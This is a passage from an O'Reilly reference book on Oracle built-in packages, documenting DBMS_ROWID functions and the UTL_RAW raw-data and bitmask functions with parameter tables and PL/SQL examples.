Usually (and always in Oracle7), a ROWID will uniquely identify a row of data. Within Oracle8, however, rows in different tables stored in the same cluster can have the same ROWID value.

9.1.3 The DBMS_ROWID Interface

The following sections describe the procedures and functions available through DBMS_ROWID.

9.1.3.1 The DBMS_ROWID.ROWID_BLOCK_NUMBER function

The ROWID_BLOCK_NUMBER function returns the block number of a ROWID. Its header is,

FUNCTION DBMS_ROWID.ROWID_BLOCK_NUMBER (row_id IN ROWID)
RETURN NUMBER;

where the ROWID parameter is the ROWID from which the value is extracted.

9.1.3.1.1 Restrictions

The DBMS_ROWID package supplies the following pragma for ROWID_BLOCK_NUMBER:

PRAGMA RESTRICT_REFERENCES (ROWID_BLOCK_NUMBER, WNDS, RNDS, WNPS, RNPS);

9.1.3.2 The DBMS_ROWID.CREATE_ROWID function

The CREATE_ROWID function creates and returns a ROWID (either restricted or extended, as you request) based on the individual ROWID component values you specify. Use this function for test purposes only. Here is its header:

FUNCTION DBMS_ROWID.ROWID_CREATE
    (rowid_type IN NUMBER
    ,object_number IN NUMBER
    ,relative_fno IN NUMBER
    ,block_number IN NUMBER
    ,row_number IN NUMBER)
RETURN ROWID;

Parameters are summarized in the following table.

Parameter | Description
rowid_type | The type of ROWID to be created. Specify either of the named constants ROWID_TYPE_RESTRICTED or ROWID_TYPE_EXTENDED.
object_number | The data object number for the ROWID. For a restricted ROWID (Oracle7), use the ROWID_OBJECT_UNDEFINED constant.
relative_fno | The relative file number for the ROWID.
block_number | The block number for the ROWID.
row_number | The row number for the ROWID.

9.1.3.2.1 Restrictions

The DBMS_ROWID package supplies the following pragma for CREATE_ROWID:

PRAGMA RESTRICT_REFERENCES (CREATE_ROWID, WNDS, RNDS, WNPS, RNPS);

9.1.3.2.2 Example

Here is an example of a call to the ROWID_CREATE procedure:

   my_rowid ROWID;
BEGIN
   my_rowid := DBMS_ROWID.ROWID_CREATE
     (DBMS_ROWID.ROWID_TYPE_EXTENDED, 100, 15, 103, 345);
END;
/

9.1.3.3 The DBMS_ROWID.ROWID_INFO procedure

The ROWID_INFO procedure parses out and returns the individual components of the specified ROWID. Here is its header:

PROCEDURE DBMS_ROWID.ROWID_INFO
    (rowid_in IN ROWID
    ,rowid_type OUT NUMBER
    ,object_number OUT NUMBER
    ,relative_fno OUT NUMBER
    ,block_number OUT NUMBER
    ,row_number OUT NUMBER);

Parameters are summarized in the following table.

Parameter | Description
rowid_in | The ROWID value to be parsed into components.
rowid_type | The type of ROWID. The value returned will be either of the named constants ROWID_TYPE_RESTRICTED or ROWID_TYPE_EXTENDED.
object_number | The data object number for the ROWID. For a restricted ROWID (Oracle7), the ROWID_OBJECT_UNDEFINED constant is returned.
relative_fno | The relative file number for the ROWID.
block_number | The block number for the ROWID in the file.
row_number | The row number for the ROWID.

9.1.3.3.1 Restrictions

The DBMS_ROWID package supplies the following pragma for ROWID_INFO:

PRAGMA RESTRICT_REFERENCES (ROWID_INFO, WNDS, RNDS, WNPS, RNPS);

9.1.3.4 The DBMS_ROWID.ROWID_OBJECT function

The ROWID_OBJECT function returns the object number of a ROWID. The ROWID_OBJECT_UNDEFINED constant is returned for restricted ROWIDs. Its header is,

FUNCTION DBMS_ROWID.ROWID_OBJECT (row_id IN ROWID)
RETURN NUMBER;

where the row_id parameter is the ROWID from which the value is extracted.

9.1.3.4.1 Restrictions

The DBMS_ROWID package supplies the following pragma for ROWID_OBJECT:

PRAGMA RESTRICT_REFERENCES (ROWID_OBJECT, WNDS, RNDS, WNPS, RNPS);

9.1.3.4.2 Example

You will want to obtain a ROWID's object number only if the ROWID type is extended. You would write code like this to perform that check:

IF DBMS_ROWID.ROWID_TYPE (v_rowid) = DBMS_ROWID.ROWID_TYPE_EXTENDED
THEN
   v_objnum := DBMS_ROWID.ROWID_OBJECT (v_rowid);
END IF;

9.1.3.5 The DBMS_ROWID.ROWID_RELATIVE_FNO function

The ROWID_RELATIVE_FNO function returns the relative file number of a ROWID. Its header is,

FUNCTION DBMS_ROWID.ROWID_RELATIVE_FNO
    (row_id IN ROWID)
RETURN NUMBER;

where the row_id parameter is the ROWID from which the value is extracted.

9.1.3.5.1 Restrictions

The DBMS_ROWID package supplies the following pragma for ROWID_RELATIVE_FNO:

PRAGMA RESTRICT_REFERENCES (ROWID_RELATIVE_FNO, WNDS, RNDS, WNPS, RNPS);

9.1.3.6 The DBMS_ROWID.ROWID_ROW_NUMBER function

The ROWID_ROW_NUMBER function returns the row number of a ROWID. Its header is,

FUNCTION DBMS_ROWID.ROWID_ROW_NUMBER (row_id IN ROWID)
RETURN NUMBER;

where the row_id parameter is the ROWID from which the value is extracted.

9.1.3.6.1 Restrictions

The DBMS_ROWID package supplies the following pragma for ROWID_ROW_NUMBER:

PRAGMA RESTRICT_REFERENCES (ROWID_ROW_NUMBER, WNDS, RNDS, WNPS, RNPS);

9.1.3.7 The DBMS_ROWID.ROWID_TO_ABSOLUTE_FNO function

The ROWID_TO_ABSOLUTE_FNO function returns the absolute file number of a ROWID. Here is its header:

FUNCTION DBMS_ROWID.ROWID_TO_ABSOLUTE_FNO
    (row_id IN ROWID
    ,schema_name IN VARCHAR2
    ,object_name IN VARCHAR2)
RETURN NUMBER;

Parameters are summarized in the following table.

Parameter | Description
row_id | The ROWID from which the value is extracted.
schema_name | The name of the schema contains the table.
object_name | The table name.

9.1.3.7.1 Restrictions

The DBMS_ROWID package supplies the following pragma for ROWID_RELATIVE_FNO:

PRAGMA RESTRICT_REFERENCES (ROWID_RELATIVE_FNO, WNDS, WNPS, RNPS);

9.1.3.8 The DBMS_ROWID.ROWID_TO_EXTENDED function

The ROWID_TO_EXTENDED function converts a restricted ROWID, addressing a specific row in a table, to an extended ROWID. Here is its header:

FUNCTION DBMS_ROWID.ROWID_TO_EXTENDED
    (old_rowid IN ROWID
    ,schema_name IN VARCHAR2
    ,object_name IN VARCHAR2
    ,conversion_type IN INTEGER)
RETURN ROWID;

Parameters are summarized in the following table.

Parameter | Description
old_rowid | The ROWID to be converted.
schema_name | The name of the schema that contains the table.
object_name | The table name.
conversion_type | The type of conversion. Pass either the ROWID_CONVERT_INTERNAL constant (if old_ROWID was stored in a column of type ROWID) or ROWID_CONVERT_EXTERNAL (if old_ROWID was stored as a character string).

9.1.3.8.1 Restrictions

Note the following restrictions on calling ROWID_TO_EXTENDED:

  • The ROWID_TO_EXTENDED function returns a ROWID in the extended character format. If you provide a NULL ROWID, the function will return NULL. If a zero-valued ROWID is supplied (00000000.0000.0000), a zero-valued restricted ROWID is returned.

  • The DBMS_ROWID package supplies the following pragma for ROWID_TO_EXTENDED:

    PRAGMA RESTRICT_REFERENCES (ROWID_TO_EXTENDED, WNDS, WNPS, RNPS);

  • If the schema and object names are provided as IN parameters, this function first verifies that you have SELECT privilege on the table named. It then converts the restricted ROWID provided to an extended ROWID, using the data object number of the specified table. Even if ROWID_TO_EXTENDED returns a value, however, that does not guarantee that the converted ROWID actually references a valid row in the table, either at the time that the function is called, or when the extended ROWID is actually used. It is only performing a conversion.

  • If the schema and object name are not provided (i.e., are passed as NULL), then this function attempts to fetch the page specified by the restricted ROWID provided. It treats the file number stored in this ROWID as the absolute file number. This may cause problems if the file has been dropped, and its number has been reused prior to the data migration. If the fetched page belongs to a valid table, the data object number of this table is used in converting to an extended ROWID value.

    This approach is very inefficient. Oracle recommends doing this only as a last resort, when the target table is not known. Note that the user must still be aware of the correct table name when using the converted ROWID.

  • If an extended ROWID value is supplied, that ROWID's data object is verified against the data object number calculated from the table name argument. If the two numbers do not match, DBMS_ROWID raises the INVALID_ROWID exception. If there is a match, then the input ROWID is returned.

9.1.3.8.2 Example

Suppose that I have a table in my APP schema called ROWID_conversion. This table contains two columns: ROWID_value and table_name. The ROWID_value column contains the restricted-format ROWIDs for rows in the table specifed by the table_name column. I can then convert all of my restricted ROWID values to extended ones with the following UPDATE statement:

UPDATE app.rowid_conversion
   SET rowid_value =
       DBMS_ROWID.ROWID_TO_EXTENDED
          (rowid_value,
           'APP',
           table_name,
           DBMS_ROWID.ROWID_CONVERT_INTERNAL);.

9.1.3.9 The DBMS_ROWID.ROWID_TO_RESTRICTED function

The ROWID_TO_RESTRICTED function converts an extended ROWID to a restricted ROWID. Here is its header:

FUNCTION DBMS_ROWID.ROWID_TO_RESTRICTED
    (old_rowid IN ROWID
    ,conversion_type IN INTEGER)
RETURN ROWID;

Parameters are summarized in the following table.

Parameter | Description
old_rowid | The ROWID to be converted.
conversion_type | The format of the returned ROWID. Pass either the ROWID_CONVERT_INTERNAL constant (if the returned ROWID is to be stored in a column of type ROWID) or the ROWID_CONVERT_EXTERNAL constant (if the returned ROWID is to be stored as a character string).

9.1.3.9.1 Restrictions

The DBMS_ROWID package supplies the following pragma for ROWID_TO_RESTRICTED:

PRAGMA RESTRICT_REFERENCES
   (ROWID_TO_RESTRICTED, WNDS, RNDS, WNPS, RNPS);

9.1.3.10 The DBMS_ROWID.ROWID_TYPE function

The ROWID_TYPE function returns the type of a ROWID via one of the following package constants: ROWID_TYPE_RESTRICTED or ROWID_TYPE_EXTENDED. Its header is,

FUNCTION DBMS_ROWID.ROWID_TYPE (row_id IN ROWID)
   RETURN NUMBER;

where the row_id parameter is the ROWID from which the value is extracted.

9.1.3.10.1 Restrictions

The DBMS_ROWID package supplies the following pragma for ROWID_TYPE:

PRAGMA RESTRICT_REFERENCES (ROWID_TYPE, WNDS, RNDS, WNPS, RNPS);

9.1.3.10.2 Example

In the following query, I determine the ROWID types in the emp table:

SELECT DISTINCT (DBMS_ROWID.ROWID_TYPE(ROWID))
  FROM emp;

This returns the value of 1, that is: DBMS_ROWID.ROWID_TYPE_EXTENDED. The emp table was created under Oracle8 and therefore uses the Oracle8 type of ROWID.

9.1.3.11 The DBMS_ROWID.ROWID_VERIFY function

The ROWID_VERIFY function verifies a ROWID. It returns either the ROWID_VALID or ROWID_INVALID constants. Here is its header:

FUNCTION DBMS_ROWID.ROWID_VERIFY
    (rowid_in IN ROWID
    ,schema_name IN VARCHAR2
    ,object_name IN VARCHAR2
    ,conversion_type IN INTEGER)
RETURN NUMBER;

Parameters are summarized in the following table.

Parameter | Description
rowid_in | The ROWID to be verified.
schema_name | The name of the schema containing the table.
object_name | The name of the table.
conversion_type | The type of conversion to be used for the verification. You should pass either the ROWID_CONVERT_INTERNAL constant (if ROWID_in is stored in a column of type ROWID) or the ROWID_CONVERT_EXTERNAL constant (if ROWID_in is stored as a character string).

9.1.3.11.1 Restrictions

The DBMS_ROWID package supplies the following pragma for ROWID_VERIFY:

PRAGMA RESTRICT_REFERENCES (ROWID_VERIFY, WNDS, WNPS, RNPS);

9.1.3.11.2 Example

Interestingly, you can call this numeric function as a kind of Boolean function within SQL. Suppose that I want to find all the invalid ROWIDs prior to converting them from restricted to extended. I could write the following query (using the same tables used in the example for the ROWID_TO_EXTENDED function):

SELECT ROWID, rowid_value
  FROM app.rowid_conversion
  WHERE DBMS_ROWID.ROWID_VERIFY (rowid_value, NULL, NULL, 0) = 1;

Previous: 8.3 DBMS_LOB Interface | Oracle Built-in Packages | Next: 9.2 UTL_RAW: Manipulating Raw Data
8.3 DBMS_LOB Interface | Book Index | 9.2 UTL_RAW: Manipulating Raw Data
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.2 UTL_RAW: Manipulating Raw Data

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

9.2 UTL_RAW: Manipulating Raw Data

The UTL_RAW package contains a set of programs that allow you to manipulate raw data. This package was originally written as a component of the Oracle Server's advanced replication option, and it supported procedural replication of data across different NLS (National Language Support) language databases. By converting data to RAW, the remote procedure calls would not perform NLS conversion, thus preserving the nature of some special data. The functions included in this package actually go beyond this original functionality and provide a toolkit for the manipulation of raw data that is not otherwise available in the Oracle Server product. These functions perform a number of special operations: conversion and coercion, slicing and dicing of raw data, and bit-fiddling, all described in the next section.

Other than replication support, there are a number of advantages Oracle can offer in storing raw data in the database, such as tighter integration with the rest of the application, transaction-level consistency, concurrency, and recoverability. One of the difficulties in the use of raw data in an Oracle database has been in the poor support for manipulation of this data. The UTL_RAW package provides this support.

9.2.1 Getting Started with UTL_RAW

The UTL_RAW package is created when the Oracle database is installed. The utlraw.sql script (found in the built-in packages source code directory, as described in Chapter 1) contains the source code for this package's specification and body. This script is called by catrep.sql, which is run when the advanced replication option of the Oracle database is installed. If this package is not already installed, check to see if these files are in your admin subdirectory. If so, you can connect as SYS and install this package by running the two scripts in the following order:

SQL> @utlraw.sql
SQL> @prvtrawb.plb

9.2.1.1 UTL_RAW programs

Table 9.4 lists the programs provided by the UTL_RAW package. For a discussion of some of the concepts underlying the operations performed by these programs, see the next section, "Section 9.2.2, "Raw Data Manipulation Concepts"."

Table 9.4: UTL_RAW Programs
Name | Description | Use In SQL
BIT_AND | Performs bitwise logical AND of the values in raw r1 with raw r2 and returns the ANDed result raw. | Yes
BIT_COMPLEMENT | Performs bitwise logical "complement" of the values in raw r and returns the "complemented" result raw. | Yes
BIT_OR | Performs bitwise logical OR of the values in raw r1 with raw r2 and returns the ORed result raw. | Yes
BIT_XOR | Performs bitwise logical "exclusive or" (XOR) of the values in raw r1 with raw r2 and returns the XORed result raw. | Yes
CAST_TO_RAW | Converts a VARCHAR2 string represented using N data bytes into a raw with N data bytes. | Yes
CAST_TO_VARCHAR2 | Converts a raw represented using N data bytes into a VARCHAR2 string with N data bytes. | Yes
COMPARE | Compares raw r1 against raw r2. Returns 0 if r1 and r2 are identical; otherwise, returns the position of the first byte from r1 that does not match r2. | Yes
CONCAT | Concatenates a set of up to 12 raws into a single raw. | Yes
CONVERT | Converts a raw from one character set to another character set. | Yes
COPIES | Returns N copies of the original raw concatenated together. | Yes
LENGTH | Returns the length in bytes of a raw. | Yes
OVERLAY | Overlays the specified portion of a raw with a different raw value. | Yes
REVERSE | Reverses the byte sequence in the raw from end to end. | Yes
SUBSTR | Returns the specified sub-portion of a raw. | Yes
TRANSLATE | Translates original bytes in the raw with the specified replacement set. | Yes
TRANSLITERATE | Translates original bytes in the raw with the specified replacement set following rules, which result in the transliterated raw always being the same length as the original raw. | Yes
XRANGE | Returns a raw containing all valid 1-byte encodings in succession beginning with the value start_byte and ending with the value end_byte. | Yes

UTL_RAW does not declare any exceptions or nonprogram elements.

9.2.2 Raw Data Manipulation Concepts

This section provides an overview of the types of data manipulation you might perform on raw data.

9.2.2.1 Conversion and coercion

Conversion refers to functions that convert raw byte strings to other values. Coercion is a specialized conversion that changes the datatype but not the data itself. UTL_RAW has functions that convert from one NLS language set to another, from one set of raw byte strings to another, and from raw datatypes to VARCHAR2 datatypes (as well as from VARCHAR2 to raw). The coercion operations supported by Oracle involving raw datatypes via the standard SQL functions are raw-to-hex and hex-to-raw; via UTL_RAW functions, they are raw-to-VARCHAR2 and VARCHAR2-to-raw. Notably unsupported are raw-to/from-numeric datatypes and raw-to/from-date datatypes.

9.2.2.2 Slicing and dicing

Slicing and dicing refers to functions that divide and combine raw byte strings in various ways. These functions include COMPARE, CONCATENATE, COPY, LENGTH, OVERLAY, REVERSE, and SUBSTRING.

9.2.2.3 Bit-fiddling

Bit-fiddling refers to the manipulation of individual bits. Because bits are the smallest possible unit of storage, bit-fiddling provides a highly efficient storage mechanism. Bitmap indexes take advantage of this and offer substantial disk savings over traditional Btree indexes. The Oracle kernel supports the bitwise AND function natively via the undocumented function BITAND(x,x),[1] but the other bitwise operations needed to support bitmasks are supported only via the UTL_RAW package.

[1] See the definitions of some V$ tables, such as V$session_wait, in the V$fixed_view_definition view.

Bitmasks are commonly used to combine a number of flags or semaphores into a single object as follows:

  • To see if a bit/flag/semaphore is set, use the bitwise AND function.

  • To turn a bit on or combine bitmasks, use the bitwise OR function.

  • To turn a bit off, use the bitwise OR and NOT functions together.

  • To toggle a bit, use the bitwise XOR function.

Other bitwise functions, such as shift left and shift right, are supported in C and other languages, but not in PL/SQL or UTL_RAW.

To better understand bitmasks and what these functions do, let's look at some examples of their use. A mask is a bit that represents some data; for example, each day of the month can be represented by one bit as follows.

The first of the month is the bit mask:

0000 0000 0000 0000 0000 0000 0000 0001 or hex 0000 0001

The second of the month is the bit mask:

0000 0000 0000 0000 0000 0000 0000 0010 or hex 0000 0002
....

The 26th of the month is the bit mask:

0000 0010 0000 0000 0000 0000 0000 0000 or hex 0200 0000

And so on. In a single 32-bit string (4 bytes), any combination of days of the month can be set. In a scheduling application, we may want to find out if the variable DayInQuestion has the bit set for the 26th. We can perform a bitwise AND on the variable and the mask like this:

DayInQuestion      0000 0111 1111 1000 0000 0000 0000 0000  Bits 20-27 set
                                AND
Mask for the 26th  0000 0010 0000 0000 0000 0000 0000 0000
-----------------------------------------------------------------------------
Result             0000 0010 0000 0000 0000 0000 0000 0000  True

Likewise, if the variable needs to be checked for any of the bits 14th through 21st, then the masks for the 14th through 21st can be combined (via bitwise OR) and compared to the variable.

DayInQuestion      0000 0111 1111 1000 0000 0000 0000 0000   Bits 20-27 set
                                 AND
Mask               0000 0000 0001 1111 1110 0000 0000 0000   Bits 14-21 set
-----------------------------------------------------------------------------
Result             0000 0000 0001 1000 0000 0000 0000 0000   True

The UTL_RAW package can also be used separately from replication, and offers facilities for manipulating raw data types that are not found elsewhere in the Oracle Server product. Oracle has a robust set of functions available for the structured datatypes RAW, CHARACTER, NUMERIC, and DATE.

9.2.3 The UTL_RAW Interface

This section describes the programs available through the UTL_RAW package.

9.2.3.1 The UTL_RAW.BIT_AND function

The BIT_AND function performs a bitwise logical AND of two input raw strings. If input strings are different lengths, the return value is the same length as the longer input string. The return value is the bitwise AND of the two inputs up to the length of the shorter input string, with the remaining length filled from the unprocessed data in the longer input string. If either input string is NULL, the return value is NULL. Here's the specification for this function:

FUNCTION UTL_RAW.BIT_AND
   (r1 IN RAW
   ,r2 IN RAW)
RETURN RAW;

Parameters are summarized in the following table.

Parameter | Description
r1 | Raw string to AND with r2
r2 | Raw string to AND with r1

9.2.3.1.1 Restrictions

This program asserts the following purity level with the RESTRICT_REFERENCES pragma:

PRAGMA RESTRICT_REFERENCES(BIT_AND, WNDS, RNDS, WNPS, RNPS);

9.2.3.1.2 Example

To check if a bit is turned on in a bit flag variable using a bitmask, you can use the BIT_AND function. This section of example code also uses the BIT_OR function to merge bitmasks:

DECLARE
  fourteenth     VARCHAR2(8);
  fifteenth      VARCHAR2(8);
  twentieth      VARCHAR2(8);
  mask           RAW(4);
  bitfield1      VARCHAR2(8);
  bitfield2      VARCHAR2(8);
BEGIN
  /* set bitfield1 for the 15th through 18th */
  bitfield1 := '0003C000';

  /* set bitfield2 for the 26st */
  bitfield2 := '02000000';

  /* set the mask for the 14th */
  fourteenth := '00002000';

  /* set the mask for the 15th */
  fifteenth := '00004000';

  /* set the mask for the 20th */
  twentieth := '00080000';

  /* merge the masks for the 14th, 15th and 20th */
  mask := UTL_RAW.BIT_OR(hextoraw(fourteenth),hextoraw(fifteenth));
  mask := UTL_RAW.BIT_OR(mask,hextoraw(twentieth));

  /* check to see if the bitfields have the 14th, 15th, or 20th set */
  if UTL_RAW.BIT_AND(mask,hextoraw(bitfield1)) = '00000000' then
    dbms_output.put_line('bitfield1 is not set');
  else
    dbms_output.put_line('bitfield1 is set');
  end if;

  if UTL_RAW.BIT_AND(mask,hextoraw(bitfield2)) = '00000000' then
    dbms_output.put_line('bitfield2 is not set');
  else
    dbms_output.put_line('bitfield2 is set');
  end if;

END;

This is the output from this code:

Bitfield1 is set
Bitfield2 is Anot set

9.2.3.2 The UTL_RAW.BIT_COMPLEMENT function

The BIT_COMPLEMENT function performs a logical NOT, or one's complement, of the raw input string r1. The complement of a raw string flips all 0 bits to 1 and all 1 bits to 0,

FUNCTION UTL_RAW.COMPLEMENT
   (r1 IN RAW)
RETURN RAW;

where r1 is the raw input string.

9.2.3.2.1 Restrictions

This program asserts the following purity level with the RESTRICT_REFERENCES pragma:

PRAGMA RESTRICT_REFERENCES(BIT_COMPLEMENT, WNDS, RNDS, WNPS, RNPS);

9.2.3.2.2 Example

To turn off a bit, regardless of its original state, in a bit flag variable using a bitmap, you can use the BIT_COMPLEMENT function together with the BIT_AND function.

DECLARE
  fourteenth     VARCHAR2(8);
  fifteenth      VARCHAR2(8);
  twentieth      VARCHAR2(8);
  mask           RAW(4);
  bitfield1      VARCHAR2(8);
  bitfield2      VARCHAR2(8);
BEGIN
  /* set the bitfield for the 15th through 18th */
  bitfield1 := '0003C000';

  /* set the bitfield for the 26st */
  bitfield2 := '02000000';

  /* set the mask for the 14th */
  fourteenth := '00002000';

  /* set the mask for the 15th */
  fifteenth := '00004000';

  /* set the mask for the 20th */
  twentieth := '00080000';

  /* merge the masks for the 14th, 15th and 20th */
  mask := UTL_RAW.BIT_OR(hextoraw(fourteenth),hextoraw(fifteenth));
  mask := UTL_RAW.BIT_OR(mask,hextoraw(twentieth));
  mask := UTL_RAW.BIT_OR(mask,hextoraw(twentieth));

  /* check to see if the bitfields have the 14th, 15th, or 20th set */
  if UTL_RAW.BIT_AND(mask,hextoraw(bitfield1)) = '00000000' then
    dbms_output.put_line('bitfield1 is not set');
  else
    dbms_output.put_line('bitfield1 is set');
  end if;

  if UTL_RAW.BIT_AND(mask,hextoraw(bitfield2)) = '00000000' then
    dbms_output.put_line('bitfield2 is not set');
  else
    dbms_output.put_line('bitfield2 is set');
  end if;

  /* turn off bit 15 in the mask */
  mask := UTL_RAW.BIT_AND(mask,UTL_RAW.BIT_COMPLEMENT(hextoraw(fifteenth)));

  /* check to see if the bitfield1 has the 14th, 15th, or 20th set */
  if UTL_RAW.BIT_AND(mask,hextoraw(bitfield1)) = '00000000' then
    dbms_output.put_line('bitfield1 is not set');
  else
    dbms_output.put_line('bitfield1 is set');
  end if;
END;

This is the output from the above code:

bitfield1 is set
bitfield2 is not set
bitfield1 is not set

9.2.3.3 The UTL_RAW.BIT_OR function

The BIT_OR function performs a bitwise logical OR of the two input raw strings r1 and r2. If r1 and r2 are of different length, the return value is the same length as the longer input string. The return value is the bitwise OR of the two inputs up to the length of the shorter input string, with the remaining length filled from the unprocessed data in the longer input string. If either input string is NULL, the return value is NULL.

FUNCTION UTL_RAW.BIT_OR
   (r1 IN RAW
   ,r2 IN RAW)
RETURN RAW;

Parameters are summarized in the following table.

Parameter | Description
r1 | Raw string to OR with r2
r2 | Raw string to OR with r1

9.2.3.3.1 Restrictions

This program asserts the following purity level with the RESTRICT_REFERENCES pragma:

PRAGMA RESTRICT_REFERENCES(BIT_OR, WNDS, RNDS, WNPS, RNPS);

9.2.3.3.2 Example

To turn on a bit in a bit flag variable using a bitmask, or to merge bitmasks, you can use the BIT_OR function, as shown in the example from BIT_AND.

9.2.3.4 The UTL_RAW.BIT_XOR function

The BIT_XOR function performs a bitwise logical XOR of the two input raw strings r1 and r2. If r1 and r2 are of different lengths, the return value is the same length as the longer input string. The return value is the bitwise XOR of the two inputs, up to the length of the shorter input string with the remaining length filled from the unprocessed data in the longer input string. If either input string is NULL, the return value is NULL. Here's the specification:

FUNCTION UTL_RAW.BIT_XOR
   (r1 IN RAW
   ,r2 IN RAW)
RETURN RAW;

Parameters are summarized in the following table.

Parameter | Description
r1 | Raw string to XOR with r2
r2 | Raw string to XOR with r1

9.2.3.4.1 Restrictions

This program asserts the following purity level with the RESTRICT_REFERENCES pragma:

PRAGMA RESTRICT_REFERENCES(BIT_XOR, WNDS, RNDS, WNPS, RNPS);

9.2.3.4.2 Example

To toggle a bit (if it is off, turn it on, and if it is on, turn it off) in a bit flag variable using a bitmask, use the BIT_XOR function as follows:

DECLARE
  fourteenth     VARCHAR2(8);
  fifteenth      VARCHAR2(8);
  twentieth      VARCHAR2(8);
  mask           RAW(4);
  bitfield1      VARCHAR2(8);
  bitfield2      VARCHAR2(8);
BEGIN
  /* set the bitfield for the 15th through 18th */
  bitfield1 := '0003C000';
  /* set the bitfield for the 26st */
  bitfield2 := '02000000';
  /* set the mask for the 14th */
  fourteenth := '00002000';
  /* set the mask for the 15th */
  fifteenth := '00004000';
  /* set the mask for the 20th */
  twentieth := '00080000';
  /* merge the masks for the 14th, 15th and 20th */
  mask := UTL_RAW.BIT_OR (HEXTORAW (fourteenth),HEXTORAW (fifteenth));
  mask := UTL_RAW.BIT_OR (mask, HEXTORAW (twentieth));
  /* check to see IF the bitfields have the 14th  or 20th set */
  IF UTL_RAW.BIT_AND (mask, HEXTORAW (bitfield1)) = '00000000' THEN
    DBMS_OUTPUT.PUT_LINE ('bitfield1 is not set');
  ELSE
    DBMS_OUTPUT.PUT_LINE ('bitfield1 is set');
  END IF;
  IF UTL_RAW.BIT_AND (mask, HEXTORAW (bitfield2)) = '00000000' THEN
    DBMS_OUTPUT.PUT_LINE ('bitfield2 is not set');
  ELSE
    DBMS_OUTPUT.PUT_LINE ('bitfield2 is set');
  END IF;
  /* toggle bit 15 in the mask */
  mask := UTL_RAW.BIT_XOR (mask, HEXTORAW (fifteenth));
  /* check to see IF the bitfield1 has the 14th, 15th, or 20th set */
  IF UTL_RAW.BIT_AND (mask, HEXTORAW (bitfield1)) = '00000000' THEN
    DBMS_OUTPUT.PUT_LINE ('bitfield1 is not set');
  ELSE
    DBMS_OUTPUT.PUT_LINE ('bitfield1 is set');
  END IF;
END;
/

This is the output from the previous example:

bitfield1 is set
bitfield2 is not set
bitfield1 is not set

9.2.3.5 The UTL_RAW.CAST_TO_RAW function

The CAST_TO_RAW function converts the VARCHAR2 input string into a raw datatype. The data is not altered; only the data type is changed. This is essentially a VARCHAR2_to_RAW function,

FUNCTION UTL_RAW.CAST_TO_RAW
   (c IN VARCHAR2)
RETURN RAW;

where c is the text string that should be converted to a raw datatype.

9.2.3.5.1 Restrictions

This program asserts the following purity level with the RESTRICT_REFERENCES pragma:

PRAGMA RESTRICT_REFERENCES(CAST_TO_RAW, WNDS, RNDS, WNPS, RNPS);

9.2.3.5.2 Example

For an example of CAST_TO_RAW, see "Section 9.2.3.15, "The UTL_RAW.TRANSLATE function"" later in this chapter.

9.2.3.6 The UTL_RAW.CAST_TO_VARCHAR2 function

The CAST_TO_VARCHAR2 function converts the raw input string into a VARCHAR2 datatype. The data is not altered; only the data type is changed. The current NLS language is used. The specification is,

FUNCTION UTL_RAW.CAST_TO_VARCHAR2
   (r IN RAW)
RETURN VARCHAR2;

where r is the raw string that should be converted into a VARCHAR2.

9.2.3.6.1 Restrictions

This program asserts the following purity level with the RESTRICT_REFERENCES pragma:

PRAGMA RESTRICT_REFERENCES(CAST_TO_VARCHAR2, WNDS, RNDS, WNPS, RNPS);

9.2.3.6.2 Example

The data dictionary views USER_TAB_COLUMNS, ALL_TAB_COLUMNS, and DBA_TAB_COLUMNS have the first 32 bytes of the lowest and highest data values for each column in analyzed tables. Unfortunately, this data is of data type RAW and not very readable by humans. The CAST_TO_VARCHAR2 function can be used on character datatype columns to see these data in more readable form.

SELECT column_name, UTL_RAW.CAST_TO_VARCHAR2(low_value)
      ,UTL_RAW.CAST_TO_VARCHAR2(high_value)
FROM  user_tab_columns
WHERE table_name = 'FOO_TAB'
 AND  column_name = 'VCHAR1'

9.2.3.7 The UTL_RAW.COMPARE function

The COMPARE function does a binary compare of the two raw input strings and returns the number of the first byte position where the two strings differ. If the two strings are identical, a zero is returned. If the two input strings are different lengths, then the pad character is repeatedly appended to the shorter string, extending it to the length of the longer string. The default pad character is 0x00 (binary zero).

FUNCTION UTL_RAW.COMPARE
   (r1 IN RAW
   ,r2 IN RAW
   ,pad IN RAW DEFAULT NULL)
RETURN NUMBER;

The parameters for this program are summarized in this table.

Parameter | Description
r1 | The first input string to compare
r2 | The second input string to compare
pad | The single character used to right pad the shorter of two unequal length strings

9.2.3.7.1 Restrictions

This program asserts the following purity level with the RESTRICT_REFERENCES pragma:

PRAGMA RESTRICT_REFERENCES(COMPARE, WNDS, RNDS, WNPS, RNPS);

9.2.3.7.2 Example

Here is an example of the COMPARE function:

DECLARE
  r_string1      RAW(16);
  r_string2      RAW(16);
  diff_position  INTEGER;

BEGIN
  r_string1 := UTL_RAW.CAST_TO_RAW('test string1');
  r_string2 := UTL_RAW.CAST_TO_RAW('test string2');
  diff_position := UTL_RAW.COMPARE(r_string1,r_string2);
  DBMS_OUTPUT.PUT_LINE (
     'r_string1='|| UTL_RAW.CAST_TO_VARCHAR2(r_string1));
  DBMS_OUTPUT.PUT_LINE (
     'r_string2='|| UTL_RAW.CAST_TO_VARCHAR2(r_string2));
  DBMS_OUTPUT.PUT_LINE ('diff_position='|| diff_position);
END;
/

Sample output follows:

r_string1=test string1
r_string2=test string2
diff_position=12

9.2.3.8 The UTL_RAW.CONCAT function

The CONCAT function is used to concatenate a set of 12 raw strings into a single raw string. The size of the concatenated result must not exceed 32K or the procedure will raise the ORA-6502 exception.

FUNCTION UTL_RAW.CONCAT
   (r1 IN RAW DEFAULT NULL
   ,r2 IN RAW DEFAULT NULL
   ,r3 IN RAW DEFAULT NULL
   ,r4 IN RAW DEFAULT NULL
   ,r5 IN RAW DEFAULT NULL
   ,r6 IN RAW DEFAULT NULL
   ,r7 IN RAW DEFAULT NULL
   ,r8 IN RAW DEFAULT NULL
   ,r9 IN RAW DEFAULT NULL
   ,r10 IN RAW DEFAULT NULL
   ,r11 IN RAW DEFAULT NULL
   ,r12 IN RAW DEFAULT NULL)
RETURN RAW;

The parameters for this program are summarized in this table.

Parameter | Description
r1 | First piece of raw data to be concatenated
r2 | Second piece of raw data to be concatenated
r3 | Third piece of raw data to be concatenated
r4 | Fourth piece of raw data to be concatenated
r5 | Fifth piece of raw data to be concatenated
